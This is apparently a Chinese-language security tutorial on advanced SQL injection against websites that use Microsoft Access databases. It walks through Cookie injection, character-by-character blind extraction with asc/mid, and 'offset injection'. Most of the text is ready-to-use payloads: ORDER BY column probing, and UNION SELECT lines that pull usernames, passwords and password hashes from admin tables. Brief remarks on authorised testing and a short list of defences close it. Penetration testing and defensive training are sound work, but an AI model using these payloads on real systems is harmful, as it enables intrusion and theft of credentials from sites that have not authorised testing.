Access的注入进阶技巧
字数 1000 2025-08-18 11:39:26
Access数据库注入进阶技巧详解
一、Access数据库注入概述
Access数据库注入是Web安全测试中常见的技术,主要针对使用Microsoft Access作为后台数据库的网站系统。本文将详细讲解三种高级注入技术:Cookie注入、逐字查询法和偏移注入。
二、Cookie注入技术
1. 原理
Cookie注入是通过修改HTTP请求中的Cookie参数来实现SQL注入,适用于应用程序将Cookie值直接拼接到SQL查询中的情况。
2. 实施步骤
第一步:准备工作
- 使用火狐浏览器安装HackerBar插件
- 勾选Cookies选项
- 将目标参数(如ID=54)放入插件文本框
第二步:确定字段长度
ID=54+order+by+13 // 正常返回
ID=54+order+by+14 // 报错
通过二分法确定字段数为13
第三步:查找回显位
ID=54+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+admin
观察页面返回,确定哪些数字位置有回显(通常为8和2)
第四步:获取敏感数据
ID=54+union+select+1,password,3,4,5,6,7,username,9,10,11,12,13+from+admin
将目标字段(如password, username)放在已知的回显位上
三、逐字查询法(盲注技术)
1. 适用场景
当页面没有明显回显但会根据SQL语句真假返回不同结果时使用
2. 实施步骤
第一步:确认表存在
and exists (select * from admin) // 返回正常则表存在
第二步:确认列存在
and exists (select admin from admin) // 确认admin列存在
and exists (select password from admin) // 确认password列存在
第三步:确定字段长度
and (select top 1 len(password) from admin)=16 // 测试password长度
and (select top 1 len(admin) from admin)=5 // 测试admin长度
第四步:逐字符获取数据
使用ASCII码逐字符猜测:
-- 测试password第1个字符
and (select top 1 asc(mid(password,1,1)) from admin)>=100 // 返回正确
and (select top 1 asc(mid(password,1,1)) from admin)>=101 // 返回错误
--> 第一位ASCII码为100('d')
-- 测试password第2个字符
and (select top 1 asc(mid(password,2,1)) from admin)>=98 // 返回正确
and (select top 1 asc(mid(password,2,1)) from admin)>=99 // 返回错误
--> 第二位ASCII码为98('b')
-- 测试admin第1个字符
and (select top 1 asc(mid(admin,1,1)) from admin)>=97 // 返回正确
and (select top 1 asc(mid(admin,1,1)) from admin)>=98 // 返回错误
--> 第一位ASCII码为97('a')
第五步:ASCII码转换
将获取的ASCII码对照ASCII表转换为实际字符
四、偏移注入技术
1. 适用场景
知道表名但不知道列名时的注入技术
2. 实施步骤
第一步:确定字段总数
order by 11 // 正常
order by 12 // 报错
--> 字段总数为11
第二步:联合查询测试
union select 1,2,3,4,5,6,7,8,9,10,11 from adminuser
第三步:确定表内字段数
使用星号(*)逐步替换已知字段数:
union select 1,2,3,4,5,6,7,8,9,10,* from adminuser // 错误
union select 1,2,3,4,5,6,7,8,9,* from adminuser // 错误
union select 1,2,3,4,5,6,7,8,* from adminuser // 错误
union select 1,2,3,4,5,6,7,* from adminuser // 错误
union select 1,2,3,4,5,6,* from adminuser // 错误
union select 1,2,3,4,5,* from adminuser // 正常
--> 表内字段数为6
第四步:偏移注入获取数据
逐步左移adminuser.*位置:
union select 1,2,3,4,5,adminuser.* from adminuser // 无敏感数据
union select 1,2,3,4,adminuser.*,11 from adminuser // 无敏感数据
union select 1,2,3,adminuser.*,10,11 from adminuser // 无敏感数据
union select 1,2,adminuser.*,9,10,11 from adminuser // 无敏感数据
union select 1,adminuser.*,8,9,10,11 from adminuser // 爆出admin字段
union select adminuser.*,7,8,9,10,11 from adminuser // 爆出密码哈希值
五、技术要点总结
-
Cookie注入关键点:
- 需要修改Cookie参数而非URL参数
- 必须准确确定字段数和回显位
-
逐字查询法关键点:
- 适用于盲注场景
- 需要耐心逐字符测试
- 使用ASCII码比较技术
-
偏移注入关键点:
- 必须知道准确的表名
- 需要先确定总字段数和表内字段数
- 通过星号(*)和数字的排列组合实现数据泄露
-
通用注意事项:
- 所有注入技术都依赖于应用程序未对输入进行充分过滤
- 测试时应使用合法授权范围内的系统
- 实际应用中可能需要结合多种技术
六、防御建议
- 使用参数化查询(预编译语句)
- 对用户输入进行严格过滤和转义
- 最小权限原则,数据库用户只赋予必要权限
- 错误信息处理,避免泄露数据库结构信息
- 定期进行安全审计和渗透测试